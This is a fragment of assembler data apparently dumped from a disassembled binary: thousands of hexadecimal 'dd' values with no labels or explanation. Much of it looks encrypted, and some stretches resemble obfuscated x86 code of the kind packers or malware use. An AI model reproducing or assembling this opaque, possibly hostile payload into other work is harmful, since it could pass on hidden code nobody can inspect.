		dd 0BB353D56h, 0ABB13256h, 0ABB16EBFh, 0DC3B3D56h, 8AB13256h
		dd 0F4D76805h, 0DBC8A695h, 0A24ECDEEh, 0BF5852A9h, 92B13256h
		dd 139E2AA4h, 9E8CB856h, 0D3628C74h, 0EB935997h, 0DB61B930h
		dd 5DB137EFh, 542CB56h,	57B13FBFh, 1D85F256h, 689A2B7Eh
		dd 33A99EE2h, 395878D8h, 0B54ECDA8h, 5DB13AD5h,	0AC3B3D56h
		dd 37B13256h, 0BBCEB137h, 8D353D53h, 8AB13256h,	1362B930h
		dd 0DAD0C1DDh, 0DCD7CDE7h, 0CFCA34B0h, 51A14DD5h, 0ABC9B759h
		dd 0C5583256h, 3FB13256h, 3BD7A72Bh, 33E5D794h,	0BDE9535h
		dd 0EF5067F8h, 523E3D36h, 0CDB13256h, 0B391E4D7h, 109895EDh
		dd 323A530Fh, 0E53ACB52h, 0FB58CE5Ah, 0A1B13256h, 57B133D1h
		dd 204DCE56h, 0DE583611h, 0AAB13256h, 0A4D49AB6h, 0C2881A00h
		dd 23AA2D5h, 0C558C75Ah, 37B13256h, 0ABBCB459h,	0DD583256h
		dd 55B13256h, 27E50A03h, 0EC42B419h, 0D7D1530Dh, 67085498h
		dd 103A5308h, 0F43ACE52h, 8A9ACE5Ah, 0EABADB52h, 24153256h
		dd 0A14B7983h, 0C36F9014h, 0AB5AB11Dh, 47CEB1AFh, 88343D55h
		dd 0B5B13256h, 0EAB13ABEh, 0B0E2A356h, 5AB7FAD9h, 0A1D16AA8h
		dd 0E5A38B30h, 0BEF05337h, 0ABB13250h, 0B9E6D115h, 339A3EBCh
		dd 75B122BFh, 0D285D056h, 9598FCB8h, 2BCAA246h,	809BED88h
		dd 0AAEDBBEDh, 0CE3F3D57h, 0E5B13256h, 75B127D8h, 0BAA1DB56h
		dd 8C713256h, 5F00877Dh, 0B76E46C8h, 0F1174247h, 6D4478E3h
		dd 154ECDA9h, 75B48BAAh, 34BE3256h, 5DB13257h, 0CE1AC1AEh
		dd 9F3BC736h, 42D0CB37h, 0D5B1325Bh, 6E2058AEh,	7FA74AE0h
		dd 2F0137F2h, 0A154DB6Dh, 0CF44CDA9h, 57A3BB59h, 20BE3256h
		dd 0D5B1325Ah, 0EAB135BFh, 40389C56h, 0E230023h, 5DB9B059h
		dd 26BE3256h, 57B13254h, 42785336h, 0D5B1325Ah,	0ACCE5F73h
		dd 2AE8DFD2h, 5BEC6FF7h, 3DB13A94h, 0AEB13CBFh,	300BD556h
		dd 2AA6C422h, 0B5718667h, 8BC8414Fh, 9CD167AFh,	0BAB13244h
		dd 84F3588h, 35DB48A7h,	0F6326556h, 66F0304Fh, 6ABE0FDEh
		dd 0E7585396h, 3AB13256h, 0A7C5160Ah, 0F248DD0Fh, 0F1B858D6h
		dd 0D2BEDEDDh, 0ABB1325Ah, 27305436h, 6BD7D4E9h, 144BD580h
		dd 0B54DF6D5h, 5DB136DFh, 0CFD15256h, 0D2BE5237h, 0ABB13257h
		dd 0DDF4B9AFh, 0E6F409AAh, 75FDB059h, 0B5D13256h, 5DB130D8h
		dd 47EB6356h, 57B13258h, 9E95B9C1h, 0F9134A74h,	7E7F01C9h
		dd 4ED06AA5h, 3DBE2213h, 5DB13270h, 52F4F5A3h, 57B13256h
		dd 5A3A5436h, 0B4678D59h, 0EAB107BFh, 70585256h, 0C8B13256h
		dd 810867A0h, 2D7BA7EEh, 12765321h, 0ABB133AAh,	0D5A3DB56h
		dd 736B3256h, 63443491h, 0AB15D41Bh, 122F889Ah,	0F20A98A4h
		dd 57B133BFh, 42D0CB56h, 0D5B13258h, 0C455FE2Dh, 0B330C012h
		dd 1A6BA883h, 49589D0Ch, 0ACB13256h, 0D96FE051h, 609E9317h
		dd 60D0DCD3h, 7FE2D79h,	0FE49A9D4h, 0DCD1CE13h,	0B609F5DDh
		dd 0CF8358FEh, 57BDDB9Fh
		dd 64203256h, 9495E52Bh, 30CCCC9h, 7E58DA11h, 54B13256h
		dd 0CEA1F36Ah, 0EEC59BA5h, 5B732C08h, 0ABB9DB56h, 0DA9A3256h
		dd 0DC259177h, 9CE48DEFh, 0BAB1325Bh, 216E19Ah,	0DF0CE4F9h
		dd 0A139D236h, 0CB5DB995h, 5E2B8B30h, 0EAB13ABEh, 0E7FF0456h
		dd 6E1E3FEEh, 5DB7DA13h, 54CE3256h, 587FEEF1h, 28D06B0Dh
		dd 0D958CE92h, 5FB13256h, 128EB1A3h, 8EA369B5h,	3DD9298Eh
		dd 0AEB1DAAAh, 0D6EB3256h, 76360BCh, 58BECA50h,	0EAB13247h
		dd 75BAB959h, 0BC583256h, 0BBB13256h, 75A56A86h, 377801B4h
		dd 77BB330h, 0D5B8DB13h, 46A03256h, 94520711h, 0DB0F90B4h
		dd 0D448E965h, 254DCE0Bh, 0FB3A6CECh, 0ABBEDB50h, 18A33256h
		dd 9FCFB78Dh, 8AB99AFBh, 8BD97F0Eh, 5D8EB18Bh, 0AC9DB659h
		dd 59583256h, 0DB13256h, 0AC0F3AC7h, 9018B309h,	0BC2615A4h
		dd 458EB1C2h, 5D99B759h, 2D483256h, 5F582691h, 9B13256h
		dd 3BCD46B3h, 3CB286Ch,	8A4ECD93h, 0BAB13FBFh, 8CEBC856h
		dd 0A602F9ABh, 0D909BFD6h, 0D432B16Dh, 51BE3252h, 0EAB1327Bh
		dd 3F67B336h, 0DCD0930Eh, 0DED0E4DDh, 0A1B13E29h, 57B12AD2h
		dd 0A7343D56h, 0DAB13256h, 0EAB134D1h, 75313D56h, 53B13256h
		dd 5DB1320Dh, 52F4CDAAh, 57A8B459h, 0BF583256h,	50B13256h
		dd 0E5D959Ch, 8301E218h, 0D25D596Dh, 32ED300h, 2DE60775h
		dd 58582691h, 0DBB13256h, 5C96760Fh, 0A976FE7Ah, 6D38A9AFh
		dd 84588C5Ah, 3D4ECDA9h, 0F9438D59h, 101074E8h,	42D0680Dh
		dd 0D5B1325Dh, 0DF9A63B4h, 0A3CF4639h, 3927A4A8h, 52B42229h
		dd 0AEB166D2h, 2832C756h, 2EBE3446h, 0D5B13238h, 51D75236h
		dd 0CAD7F193h, 2D0FD8Bh, 7EA6C1B4h, 0A7587337h,	48B13256h
		dd 0FFDD1B9Ch, 0F00405A0h, 3B575DDh, 75B13250h,	8EC3CCCCh
		dd 23A14AEh, 0A2373D5Ah, 58B13256h, 0ABB134DEh,	0D5393D56h
		dd 3B13256h, 75B132CDh,	0BEF6B9AAh, 5DB0B059h, 25483256h
		dd 0BE4D3E09h, 0ABB13230h, 0D5BDB959h, 64BE3256h, 75B13250h
		dd 0BAB1BC59h, 1A3A3256h, 25D75252h, 0D6D76190h, 0F5108D9Ch
		dd 0D9EEB937h, 8C72B936h, 5ED0F9DDh, 39493609h,	0DFBE37BDh
		dd 0AEB1325Ah, 57B7B159h, 21BE3256h, 0D5B13256h, 0E9A14DD5h
		dd 75A9B759h, 0AB583256h, 0D3B13256h, 0C0F9A2F1h, 6A27B56Eh
		dd 567A95A9h, 5591105Bh, 339ACA17h, 75A8B359h, 0DCD13256h
		dd 2116DDD7h, 0AEB13EBEh, 3D561B56h, 2B8669B0h,	0CCEFE774h
		dd 63D06A87h, 15B0330Ah, 313B8B30h, 0A20953AEh,	474ECDA9h
		dd 57B13247h, 27132A59h, 1560F52Ch, 3E49D0F1h, 0F83211BAh
		dd 0BF08CBDFh, 52B13256h, 0AEB12BD1h, 8E35256h,	0ABB13DBEh
		dd 97EB856h, 4E0FBF00h,	3C1B8ABFh, 4CF2BC26h, 0F642530Ch
		dd 5366DBAFh, 0D9BECDA9h, 0ABB13250h, 8649B836h, 3D05309h
		dd 75B13250h, 357CA22h,	183A4ED9h, 600F52AAh, 36F1FB31h
		dd 0AE58529Fh, 91B13256h, 9221456Ah, 1468B930h,	0BABBDB95h
		dd 8D253256h, 9FDE0A50h, 0B7C4E16Ch, 0A3313D06h, 0DAB13256h
		dd 0EAB130D5h, 24D05256h, 0BAB13DBFh, 2064C956h, 6CFF54C3h
		dd 343866B3h, 5E75DF1h,	0D559CE05h, 0B0B13256h,	0A08ED8D7h
		dd 4F4434FAh, 0D181A8DBh, 2EBE34FAh, 57B13257h,	0ABD58AA3h
		dd 3D443256h, 0EAB136BDh, 75B0BD59h, 31443256h,	403D3D5Dh
		dd 0A1B13256h, 57B125D6h, 0ABA3DB56h, 0C6AB3256h, 0A12321B9h
		dd 0C864893Fh, 0B42C4258h, 82051446h, 5B7009AAh, 57A8BA59h
		dd 0BF583256h, 2AB13256h, 0D2E67D7Fh, 4EE020F0h, 6E1C15Ah
		dd 76053E4h, 47D0D050h,	57B132C5h, 0ABB7B759h, 83D13256h
		dd 8B058009h, 15B57955h, 0BAB135BFh, 0B3165E56h, 3082DD65h
		dd 0FD67D9D7h, 90D02FCAh, 7F333D97h, 1FB13256h,	89A17955h
		dd 38BEF36Dh, 5DB13264h, 0C143B336h, 37FA7B60h,	11D76905h
		dd 0B4D073C3h, 0EAB138BFh, 1FF91E56h, 6A65CE57h, 0B4024490h
		dd 0AEB13243h, 57B0B159h, 0A4493256h, 0D5B133DFh, 6058C756h
		dd 89B13256h, 0BA32DBAEh, 0D7BE3256h, 0AEB13241h, 57B120BFh
		dd 0ADB93B56h, 0E926B676h, 1861D20Eh, 3219C0E3h, 37735977h
		dd 0F0D4C0CCh, 0AEA5DB50h, 67243256h, 0B9D54805h, 0FFD0CF41h
		dd 2A5D912Fh, 8CC1D83Eh, 694EF96Ch, 5DB0B959h, 47483256h
		dd 57B1326Fh, 0ABBEDBAEh, 76DE3256h, 5293C79Ch,	52EC41EBh
		dd 22CEAD1Eh, 452BBF32h, 0CEB79F3Fh, 9630DFE5h,	0C0A6DF0Dh
		dd 0DA62CD37h, 0EAB13EDAh, 73383D56h, 0B5B13256h, 5DB132D7h
		dd 18D16956h, 800E5458h, 0A4E8533Fh, 0D5B13DDCh, 0EABBDB56h
		dd 0DF923256h, 0B0F270D4h, 44FE39F9h, 2FD76236h, 0C84DFBDh
		dd 0ABB3B759h, 273A3256h, 0E3586A37h, 91B13256h, 390538D0h
		dd 9F1DE43Ah, 0AEA1DB95h, 0BC5E3256h, 0A7D5AEA0h, 492AD47Ch
		dd 0C7A3588Dh, 7AE46A4Bh, 0BAB12CD4h, 453F3D56h, 47B13256h
		dd 57B13245h, 4E085ECAh, 0EE9E238Fh, 6C369A64h,	0CBAA3ADh
		dd 0DAE58934h, 4B036D07h, 475DB937h, 57B1325Dh,	0E586BB06h
		dd 5FB70097h, 2EAA015h,	75B13256h, 0FE5BB30Ch, 52B79E81h
		dd 0AEB133D6h, 31D1CB56h, 2AEFF9D7h, 0BF9E8B30h, 62BE5237h
		dd 75B13257h, 0BABCDBAEh, 0D3013256h, 0D715FCD5h, 0F05CA003h
		dd 2663605Fh, 793D02ECh, 0AF3ACA50h, 154D525Eh,	0BAB1BB59h
		dd 0C80F3256h, 0CFCE1BA8h, 58B6BB37h, 0ABB120D9h, 0D5BCDB56h
		dd 72443256h, 134F148Ch, 75E46677h, 0D6169EA7h,	0C8D13E13h
		dd 4701EBDDh, 0AFF6BB37h, 0D5B137BFh, 9A31C756h, 303AAAE9h
		dd 0FD38C746h, 0A33A525Ah, 0BAF4B937h, 47F6BBA3h, 624D53AAh
		dd 0C1303D36h, 3B13256h, 75B13259h, 28AC5DC2h, 0DFEE16B3h
		dd 42043EF3h, 58EEBD44h, 0ABB131D3h, 2F0E3D56h,	0EAA1F037h
		dd 0B34952AAh, 1CBD1BD3h, 0D3BE7550h, 0AEB13247h, 57B13EBFh
		dd 6CE21956h, 98121AC6h, 68D0D7C7h, 6AB5AD1h, 32BE9A41h
		dd 5DB1325Eh, 0AEB3B159h, 36D13256h, 0A2A887A9h, 584D34F0h
		dd 43C012D3h, 75B7DB50h, 0A2413256h, 1185D4CBh,	2FD1E2A9h
		dd 0A9AE9DBFh, 5EE35301h, 0D5B0B559h, 67493256h, 0D93CB6DCh
		dd 0EBD05250h, 5A353DAFh, 0CEB13256h, 10854AFh,	7B4E53FBh
		dd 0D5BDDB36h, 74723256h, 0FA7244C0h, 0E1BFA4B0h, 7D01AC9h
		dd 2A33BFAFh, 37B79EDBh, 0ABB1B859h, 0E303256h,	8B07564Eh
		dd 0CBD75237h, 2103224Bh, 1D063D37h, 2ED1C75Ah,	813A9B85h
		dd 5369B937h, 0D4323D04h, 1FB13256h, 75B0BC59h,	0B54D3256h
		dd 553F3D67h, 0CEB13256h, 0F6AF8B30h, 0F1D05336h, 0C45852AAh
		dd 0D7B13256h, 0D727D05Bh, 0FA1D8E7Ch, 0E8FF7130h, 77F5C30h
		dd 57B13ABFh, 0D7088756h, 601FC42Bh, 29B25310h,	75B135BFh
		dd 0FA358956h, 0FB168618h, 0AEB121BFh, 91D07356h, 32932E63h
		dd 0E782D1A9h, 0EC444466h, 1E7C909Dh, 95CCB0DFh, 3C4834F0h
		dd 0AEB6BE59h, 0D1BE3256h, 0ABB13257h, 51BEF1AAh, 0EAB13243h
		dd 75BBDB36h, 861E3256h, 91D6F0E6h, 0D57C80E6h,	0F068830h
		dd 52F55161h, 0AFF08060h, 7AED081h, 0E8612D45h,	0
		dd 68EA815Ah, 0F506ACD9h, 10E860h, 1A470000h, 21F44785h
		dd 79785F1Ah, 0D1CBABC1h, 0B70F299Ch, 0BE665ACBh, 6061D962h
		dd 2800Fh, 61600000h, 1830Fh, 61FC0000h, 21830F52h, 60000000h
		dd 14E9h, 2F1E3800h, 1534356Eh,	35FEB06h, 0C579B4B8h, 0AAC8134Dh
		dd 40D981F9h, 610BDB6Eh, 2F7D828Bh, 0B9FC06A6h,	41C64E6Dh
		dd 0AE9h, 15908A00h, 4865194Ah,	0F79A8B2Dh, 605AF9E1h
		dd 0CE8h, 90C27B00h, 0F5481D1Dh, 0FE26DA98h, 8C0F66h, 5A000000h
		dd 30390561h, 25F90000h, 7FFFFFFFh, 0B8D28160h,	0F30C09Eh
		dd 8961FAB7h, 0A62F7D82h, 0F5AF906h, 168Dh, 11E900h, 0C04F0000h
		dd 94207635h, 0C74650FDh, 0E46196Dh, 59BACD8Bh,	1890Fh
		dd 0C3F80000h, 0E6816660h, 51613724h, 13830Fh, 0EE90000h
		dd 0BA000000h, 7F6A66E9h, 0ABE7A0BDh, 75697D81h, 0BE9523Eh
		dd 1D000000h, 0A0BE7153h, 9CB9959Eh, 0E8F5D171h, 0
		dd 7CEA815Ah, 0F906ACDAh, 88F0Fh, 8F0F0000h, 2,	8BFC6160h
		dd 800F60C8h, 1, 36F081F9h, 617F4C4Bh, 138D0Fh,	0E8600000h
		dd 6, 9050F725h, 0BB5B7D3Bh, 1CF2F7F7h,	0FE93E861h, 33F9FFFFh
		dd 8D0F60D2h, 2, 0F761D98Bh, 0CE9F1h, 23EE0000h, 0A77D5FC5h
		dd 0A9C47159h, 0C28BEAE7h, 8860Fh, 800F0000h, 2, 0F5A6160h
		dd 1188h, 0B880F00h, 0E9000000h, 6, 2363E52Bh, 0E95986E8h
		dd 0Ch,	4CA8C124h, 43F36D51h, 85C4CD45h, 0EF8160C3h, 2DBDE735h
		dd 3810Fh, 0BF0F0000h, 0C08B61C2h, 0F08B6660h, 61C88B66h
		dd 8F0FC08Bh, 0Eh, 9E9h, 50017600h, 4440DABAh, 858D129Ch
		dd 6ACA24Eh, 0BF665060h, 0B65E5656h, 0D0FF6197h, 506060FCh
		dd 6161605Ah, 8E9h, 6FCEFC00h, 2B6ECD77h, 8B6661C8h, 12E9F8C1h
		dd 4B000000h, 0A89146B2h, 524B0DFCh, 13A7176Ch,	0E12989EAh
		dd 55858DE8h, 0E906ACD9h, 13h, 49BD9E78h, 0DB5BCA41h, 6BE1EA5Bh
		dd 0F1B56B02h, 0E986D5DAh, 0Bh,	235E9FE1h, 29E5735h, 89C81AE0h
		dd 0A60DF585h, 858DFC06h, 6ACDA4Bh, 860F60h, 81000000h
		dd 850EF9F1h, 8589611Ch, 6A61961h, 0B800Fh, 0F600000h
		dd 89h,	78EA8000h, 0B861h, 0F600000h, 0D85h, 7E800h, 25BD0000h
		dd 8A1AAA4Bh, 0EB81582Fh, 364CA6D8h, 0FC00B61h,	1A384h
		dd 5E96000h, 2E000000h,	0F94D7B18h, 4284BB60h, 0B2B77076h
		dd 85C66161h, 6A60C29h,	7E956h,	83B90000h, 0B78B4823h
		dd 30DF6801h, 8D0FA9C5h, 0Ah, 26F38160h, 5054D404h, 0B5FF6159h
		dd 6A60919h, 12E9h, 0FAA17200h,	6A349469h, 70B58835h, 42058EDAh
		dd 8D429BDCh, 0A9712085h, 0D0FFF806h, 10830FFCh, 0E9000000h
		dd 0Bh,	0D572997Fh, 0D247C36Eh,	50E2C11Eh, 8C0F5360h, 0
		dd 0EE9615Eh, 0F8000000h, 5CEA5CD5h, 4AC343F1h,	86763347h
		dd 0E18D8D24h, 0F806A610h, 840F6060h, 0
		dd 870Fh, 66610000h, 5161F88Bh,	10E9h, 0F8BB1600h, 51300317h
		dd 8900CD49h, 77BBE307h, 0E8E0F49h, 60000000h, 810Fh, 0C8810000h
		dd 50F7B0ADh, 0F046A61h, 138Ah,	0D8B0F00h, 0E9000000h
		dd 8, 6DBB2177h, 0D1E1D085h, 100068h, 47BF6000h, 817556ABh
		dd 1683CCEAh, 11E9610Fh, 2B000000h, 33F96B16h, 26635260h
		dd 1E45FAD5h, 0DACEC152h, 1A95B5FFh, 880F06A6h,	12h, 0DE9h
		dd 8DBE3400h, 0FA475B96h, 739E56DFh, 0D0FF5274h, 10E9h
		dd 0D295C100h, 13D11834h, 6DC2866Ch, 6AF20F26h,	95BD8B43h
		dd 0E906A61Ah, 8, 52109AEBh, 2E2F5EF3h,	0E93C7F03h, 5
		dd 460FBA3Fh, 8E914h, 6DDE0000h, 0FD29DD2Ah, 0C781E6D3h
		dd 0F8h, 18A0Fh, 0C7F90000h, 202447h, 0F606000h, 689h
		dd 870F00h, 61000000h, 5259D8Dh, 8BF506A6h, 0EE903h, 42A90000h
		dd 0A293D198h, 449B2E05h, 52E7A109h, 840FC00Bh,	3Fh, 0C840Fh
		dd 820F0000h, 6, 8C0Fh,	8B0000h, 44389FCh, 9E960h, 0FB5A0000h
		dd 15393F35h, 618BB6A9h, 0FE9F960h, 88000000h, 4C995160h
		dd 0FEE8AB70h, 0A02634B0h, 0B961FD36h, 234CF6h,	1BE9h
		dd 5879E900h, 1Bh, 5 dup(0)
		dd 4A1E9h, 0DF636800h, 58E906ACh, 68FFF99Fh, 6ACDFC9h
		dd 0F99F4EE9h, 0E0FC68FFh, 44E906ACh, 3CFFF99Fh, 0C974C12Bh
		dd 93BAF71Dh, 0AEE924CEh, 7AC550BEh, 0F6358056h, 62B45857h
		dd 977968D7h, 0C610331Ah, 0F41ECC4Bh, 8437B9B9h, 3360376Fh
		dd 319ED671h, 0F78BD90Fh, 3E6FB95Bh, 0EC39D397h, 6C7DE7E6h
		dd 0E92E43F4h, 0DA3035CCh, 8631BFEEh, 35CCE96Dh, 0ECAB8773h
		dd 8A7415FFh, 0DF67D09Eh, 0EF3EB2DAh, 0EA1A4AF3h, 21CDFC5Fh
		dd 5EE17343h, 336A8A31h, 0D450A24Eh, 0F658C73Dh, 2B27Ch
		dd 4A092600h, 51FA8540h, 35CCE930h, 96D0CC26h, 0B2F5A125h
		dd 135DB53Eh, 84A5E6E3h, 4E04F250h, 0D2973C3Ah,	85E92A38h
		dd 8636D515h, 0B270CA47h, 403F54FCh, 89A10A54h,	0AD3AB9C8h
		dd 3FBE1435h, 0D13F98C6h, 0C534031Bh, 62483EDh,	1A4395BFh
		dd 5A2CCB8h, 2092CB21h,	0FD111F52h, 0E9FC9CFAh,	0C0ECAB70h
		dd 0F98B7716h, 5700984Ah, 249BF13Ah, 65DAB62Ch,	8AE4F2E1h
		dd 0B8D51332h, 38000002h, 0CD48C52Fh, 9FA6F319h, 0AA9520CAh
		dd 7ED954BAh, 0F2098452h, 66B05C5Bh, 937D6C2Bh,	0C2143F06h
		dd 0F01AC877h, 9833BDA5h, 3360366Bh, 1C48CA7Dh,	913A24E1h
		dd 3EBB8759h, 48A2872Ch, 432D853Ah, 932EF8E4h, 2F5E88B4h
		dd 354E4DC1h, 3B1D4100h, 297A9629h, 6A783360h, 4B311F80h
		dd 47C6958Fh, 25221h, 3FD59200h, 69835BE2h, 9A7071DCh
		dd 0CE20000Fh, 0FE28D473h, 2AC518A3h, 0FA45D006h, 8D8805EBh
		dd 5EF934E2h, 4B2B668Ch, 36F112C5h, 44E73360h, 24E11CFEh
		dd 8759913Ah, 872C3EBBh, 0A0124B9Dh, 0E4857DD2h, 603708A5h
		dd 49BB7733h, 527616CDh, 17955F6h, 5BDD0000h, 30C06987h
		dd 1F8615AEh, 0E39A4C70h, 2B5A03FFh, 8240DD37h,	7ACCA43h
		dd 23CD9C21h, 0D6AC1637h, 89E3EF48h, 6D8B3EB2h,	6A8559CAh
		dd 67534F33h, 0DFDF05F9h, 564EA486h, 481AE34Ah,	609A6E5h
		dd 0BA76336Ah, 4715CC48h, 4154F658h, 0DE000000h, 3A24E11Ch
		dd 0E9F61BBCh, 70F835CCh, 0CCE9AAC7h, 6A46BC35h, 19218A18h
		dd 0C3EB2D8h, 0D9BCD586h, 48A2336Ah, 94B55F0Fh,	0FFB582Ah
		dd 0D9923B5Eh, 0C5ED336Ah, 94904BCFh, 97EFF658h, 53000000h
		dd 0F69875Bh, 0FE100184h, 36DC8DCAh, 8EBFAB17h,	0D28B5D47h
		dd 8437AFB3h, 35CC216Fh, 0FCAD9971h, 2E7B9151h,	0CC26A06Bh
		dd 0EE042635h, 0DB32B353h, 81D43A9Dh, 8E23EB4h,	9DFC16Eh
		dd 39EF91BCh, 929A76C6h, 80E46995h, 11Fh, 0D16C86A7h, 0F9A7076h
		dd 7CC92300h, 0A0FD13D1h, 902DFBE5h, 0D9FBF449h, 0D48BB20Fh
		dd 0BDA0EF3Ah, 7377DE6Bh, 98260C99h, 6009923Fh,	0D1618433h
		dd 0D26FB95Bh, 0E51FBA4Ah, 50FBC24Dh, 2E0CA516h, 0B81235CCh
		dd 0AF4565AAh, 875BD812h, 0D1913C6Dh, 0E5E0EE3Bh, 95ED4E28h
		dd 393EB238h, 4C38EE92h, 3F9B8522h, 0E7E931C7h,	602B9179h
		dd 336A8DC3h, 0D873FDD5h, 336A8DABh, 0DC6945BDh, 6A8DD07Dh
		dd 0AD14D633h, 2E7B57BDh, 0CDAB7D67h, 0C2498C31h, 0E77DBD03h
		dd 852646h, 1C7A0000h, 913A24E1h, 3EBB875Dh, 9809A228h
		dd 8E336037h, 9E15E14h,	0C72D3D50h, 0F51FC34Ah,	9D163554h
		dd 5D45516Ch, 7A6FD427h, 6D7DC290h, 5F030A87h, 0F15AC6E6h
		dd 116D9050h, 0C9706C46h, 2C40F9D5h, 4A00D6D0h,	3C36DC5Eh
		dd 416CD197h, 4508F697h, 2D20B3Ah, 0B5D4C0BCh, 0B7659F1Bh
		dd 41CC59B3h, 67ED8B61h, 1CDB36AFh, 0BEDD5FF7h,	116D8115h
		dd 8EC9CA5Ch, 4DFAC41Ah, 4EAE1F55h, 3, 5B821E12h, 9E316882h
		dd 0C80726CCh, 3B4AF325h, 7C93CA24h, 0A8E78650h, 0E42B5284h
		dd 0DC732AC4h, 944E50Fh, 0A496B75Dh, 81E68956h,	4C6h, 4EE8300h
		dd 5C243487h, 56243489h, 0C681E689h, 4,	8704EE83h, 895C2434h
		dd 2E682404h, 8900002Dh, 0B9512414h, 3ACE0DCFh,	0F708E9C1h
		dd 2DC981D1h, 81321C45h, 309798E9h, 595851F9h, 42BB68h
		dd 24248900h, 4240483h,	59FC685Ah, 4890000h, 242C8124h
		dd 38C26913h, 8108428Fh, 69130842h, 148B38C2h, 0E7895724h
		dd 4C781h, 0C7810000h, 4, 5C243C87h, 5124048Bh,	0C181E189h
		dd 4, 4C181h, 0C870000h, 0CCE95C24h, 9FFFF99Ah,	6B1E1CF1h
		dd 0D2703D81h, 40B84EC1h, 306ACE2h, 0C1E0FFC5h,	257AE4DBh
		dd 4739BBF9h, 543138CFh, 233009FAh, 2B0F1996h, 0AF24B5E9h
		dd 0E261A675h, 706F9504h, 6136E9EFh, 27240BE8h,	5C6D6E9Bh
		dd 9C6C3612h, 0CA61A951h, 28160047h, 3D68377Fh,	0D137248Ch
		dd 9E6A0B01h, 54557592h, 28635807h, 973C3E9Dh, 80150926h
		dd 421C161Eh, 0C930D8FBh, 0A9178376h, 720E7E5Dh, 45751DE6h
		dd 0C614F30Ah, 0E91D7C2Eh, 34h,	36C675C4h, 0Ch dup(0)
		dd 0B7BE9h, 0E54A6800h,	0C3E906ACh, 68FFFA5Ch, 6ACE65Ah
		dd 0FA5CB9E9h, 0E88768FFh, 0AFE906ACh, 68FFFA5Ch, 6ACE95Eh
		dd 0FA5CA5E9h, 0EACE68FFh, 9BE906ACh, 68FFFA5Ch, 6ACEC7Fh
		dd 0FA5C91E9h, 0ED6668FFh, 87E906ACh, 0CFFFFA5Ch, 30E88642h
		dd 66B2D818h, 0AA46ECD4h, 9C1422EEh, 0CADB71BFh, 0C0000B6Ah
		dd 18D87EAAh, 2D97A672h, 64A4EB07h, 5B0DDFCEh, 0AE81994h
		dd 280C8C16h, 0F4341B67h, 0CC7DC345h, 0AC1424FCh, 2EF4BB9Dh
		dd 2F8DAB69h, 2BDDCF63h, 183B1B65h, 46B2C781h, 0AEEDEADh
		dd 0E7A9D17Ah, 0AC321227h, 0C505019Dh, 85B47CDDh, 0C9AA061Eh
		dd 16544C98h, 2CEB097Eh, 3B35h,	0F25B6700h, 95A70336h
		dd 0DA381C2Dh, 261271D5h, 0A2EE908Ah, 0B1183B2Bh, 0CCF6FDEFh
		dd 10740AEEh, 0ADDC0C08h, 1573E4ABh, 0CC7B7464h, 0DBE50AEEh
		dd 0FAF3A3EFh, 0ECBE2CEAh, 9E000000h, 90A16728h, 596B0536h
		dd 94FC40B7h, 0D0AAA211h, 1194FC1Bh, 0D869CF89h, 0F68B49CEh
		dd 8FA56B2Ch, 9501803Dh, 681C3311h, 94F77186h, 3795F311h
		dd 34FC5D65h, 341C0305h, 6E2F5BFCh, 53B197AAh, 0D05C1C79h
		dd 8DF0301Ah, 70371F49h, 79F5DDC3h, 92CB9DAFh, 0F87E741Dh
		dd 0BD320431h, 2F11947Fh, 0CB7EBA93h, 5420E745h, 183AAA6Ch
		dd 19DE8050h, 8B0AEE54h, 40BD6FCDh, 79D27C9Ch, 1F4A4ABBh
		dd 0C52B0106h, 0C5B761FDh, 11973696h, 73B19A24h, 0D4673BEDh
		dd 0E1AA46ECh, 0EB0EE597h, 78D10445h, 0D68789B8h, 655050B6h
		dd 0BBAE275h, 913C53Eh,	27620000h, 0FB534FE5h, 0B399113Fh
		dd 41CD2573h, 1C3FEB81h, 0CD67BED4h, 927EDAEh, 0D17FBF91h
		dd 9AB070D9h, 0ADCB090Eh, 31C6A878h, 0B30AE817h, 6328EF2Fh
		dd 341B97BDh, 123E5EF4h, 0C0908A26h, 21358848h,	2DD07079h
		dd 3B2DFFBCh, 183B2B4Dh, 4EBACF89h, 0AEECCA5h, 6819DB72h
		dd 336F25Eh, 4B288080h,	35D2CE16h, 0CC7A7163h, 6CE80AEEh
		dd 0FB3858AFh, 0F27B2CEAh, 0D3000000h, 63156728h, 1194FC8Ch
		dd 0EF4B14F6h, 6EFF4C0Dh, 0DB39E754h, 51FAC475h, 5CA26229h
		dd 49C39F2Dh, 8294F889h, 94461BD0h, 0C8CF8911h,	944B813Ch
		dd 6B1D3211h, 94417279h, 2AC1B311h, 0B8119441h,	69CF89DCh
		dd 0F5DA46BFh, 95A46C2Ch, 0F6A232B3h, 970329EEh, 0CFD160A0h
		dd 0B969D503h, 74268488h, 77BD9EA2h, 0D9FCC4B0h, 84C0183Ah
		dd 0AC4008EEh, 746628FAh, 0AEE847Fh, 0D0A46BEDh, 11972672h
		dd 0AC742626h, 9F0B21EFh, 4BB474BCh, 5DBAE26Bh,	803F3ECh
		dd 0D7720000h, 0EBA37F15h, 0A3E9012Fh, 71DDD563h, 0C0F9BB1h
		dd 0DD77AEC4h, 39579DBEh, 0C16FAFE1h, 8AA06029h, 5DFB391Eh
		dd 21D6B848h, 830AE816h, 63289F3Fh, 0BCCD3507h,	7A18A7C7h
		dd 0CA288164h, 7DD2CE64h, 451791BFh, 942A5C93h,	4D8D8311h
		dd 540D583Ch, 4BE90916h, 545BB9B1h, 341A26F2h, 246B37F4h
		dd 0C64955E4h, 0BE8A6806h, 3C4DB398h, 1020FA58h, 6E3AF93Fh
		dd 0FD538A5Ch, 0B36B500Eh, 240AE1DBh, 0FC981194h, 3ECB4D3Fh
		dd 65E3183Ah, 0F8FFE1B3h, 6A0AEE0Ah, 0D7E0C40Dh, 359B9AB1h
		dd 56F9C576h, 6F20F896h, 0E82098A9h, 56923438h,	848B625Eh
		dd 0B73C2EF0h, 3583A7F2h, 0F2925953h, 741083A7h, 0EFA07816h
		dd 48A01829h, 9183A7F2h, 0F5C77ABAh, 0A7F2EC03h, 21E7E83h
		dd 12B9C808h, 0C15A1682h, 0F6BB9253h, 0AB752187h, 43CA967Fh
		dd 36D8F081h, 83A7BAC1h, 0C0C72523h, 59F7351Ah,	7B0ECE41h
		dd 0A7BA6381h, 0E3DFC583h, 0D3C50B0Ch, 0DFCB0F0Fh, 5EF6B57Dh
		dd 84B5CD42h, 0DC6D57E6h, 0E1671A78h, 22EEEE83h, 16EA9C8Eh
		dd 768A4DE8h, 0DD7C0416h, 4BF5AE17h, 0B21566DEh, 8971A78Dh
		dd 8F38BFA1h, 0D2AA7D01h, 90A85A4Ch, 7483A7A3h,	0B94B6110h
